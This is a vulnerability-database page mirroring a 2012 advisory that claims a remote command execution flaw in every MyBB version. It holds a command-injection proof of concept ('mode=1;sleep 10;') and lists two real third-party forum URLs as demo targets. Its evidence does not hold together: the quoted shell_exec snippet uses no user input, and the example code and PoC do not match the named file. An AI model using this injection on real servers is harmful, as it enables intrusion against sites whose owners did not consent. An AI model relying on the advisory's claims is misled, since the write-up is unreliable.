Lucene search
K

MyBB Remote Command Execution

🗓️ 08 Oct 2012 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

MyBB Remote Command Execution vulnerability found in /inc/3rdparty/diff/Diff/Engine/shell.php allows attacker to execute arbitrary system commands using $_GET and shell_exec. Vulnerability can lead to full server compromise

Code

                                                #########################################################
Exploit Title : Mybb All Versions Remote Command Execution
Author  : Nafsh
Discovered By : Tapco Security & Research Lab
Date : 3 Oct 2012
Home : http://Sec-Lab.Tap-Co.Net
Contact : [email protected]
#########################################################
Source : http://www.mybb.com/download/latest

file :  /inc/3rdparty/diff/Diff/Engine/shell.php

Source Of Bug :   
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);
#########################################################
vulnerability concept:

$_GET  +  shell_exec()  =  Command Execution

vulnerability description:

An attacker might execute arbitrary system commands with this vulnerability. User tainted data is used when creating the command that will be executed on the underlying operating system. This vulnerability can lead to full server compromise.

vulnerable example code :
1: exec("./crypto -mode "  .  $_GET["mode"]); 

proof of concept :

/index.php?mode=1;sleep 10;

patch:

Limit the code to a very strict character subset or build a whitelist of allowed commands. Do not try to filter for evil commands. Try to avoid the usage of system command executing functions if possible.

1: $modes  =  array("r",  "w",  "a");  if(!in_array($_GET["mode"],  $modes)) exit ;  
r
#########################################################
D3m0 :  

http://www.minuteworkers.com/forum/inc/3rdparty/diff/Diff/Engine/shell.php?Find It In Source=RCE

http://www.artistsuniverse.org/forum/inc/3rdparty/diff/Diff/Engine/shell.php?Find It In Source=RCE
#########################################################
We are : K0242 | Nafsh | Ehram.shahmohamadi
#########################################################
Tnx : Am!r | M.R.S.CO All Members In Www.IrIsT.Ir & Www.IdC-TeAm.NeT
#########################################################
Greetz : All sec-lab researchers
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation